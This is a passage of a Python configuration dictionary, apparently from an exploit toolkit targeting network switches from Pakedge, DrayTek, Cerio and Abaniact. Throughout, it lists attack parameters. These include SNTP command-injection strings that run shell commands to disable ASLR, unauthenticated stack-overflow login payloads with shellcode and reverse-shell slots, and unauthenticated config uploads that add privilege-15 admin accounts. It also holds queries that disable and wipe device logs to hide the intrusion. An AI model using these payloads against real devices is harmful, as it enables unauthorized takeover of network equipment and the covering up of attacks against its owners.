'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_',
'sys_ping_post_check':'',
'sys_ping_post_SIGSEGV': False,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':True,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'Pakedge': {
'vendor': 'Pakedgedevice & Software Inc',
'uri':'https://www.pakedge.com/products/switches/family/index.php',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'2',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'&empty=1',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&target=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&target=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139',
'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139',
'sys_timeSettings_set_cmd_enable':'&sntp=1',
'sys_timeSettings_set_cmd_disable':'&sntp=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'DrayTek': {
'vendor': 'DrayTek Corp.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak': True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'1',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'&empty=1',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&target=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&target=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',
'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',
'sys_timeSettings_set_cmd_enable':'&sntp=1',
'sys_timeSettings_set_cmd_disable':'&sntp=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'Cerio': {
'vendor': 'CERIO Corp.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak': False,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadbakcfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mntlog/startup-config',
'content_check':'/mntlog/startup-config',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'1',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_ping_post_SIGSEGV': True,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'&empty=1',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&target=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&target=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',
'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',
'sys_timeSettings_set_cmd_enable':'&sntp=1',
'sys_timeSettings_set_cmd_disable':'&sntp=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'Abaniact': {
'vendor': 'Abaniact',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=5121',
'status':'',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_5132=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'md5',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&login=1&_CMD_',
'sys_ping_post_check':'',
'sys_ping_post_SIGSEGV': False,
'workaround':True,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':False,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
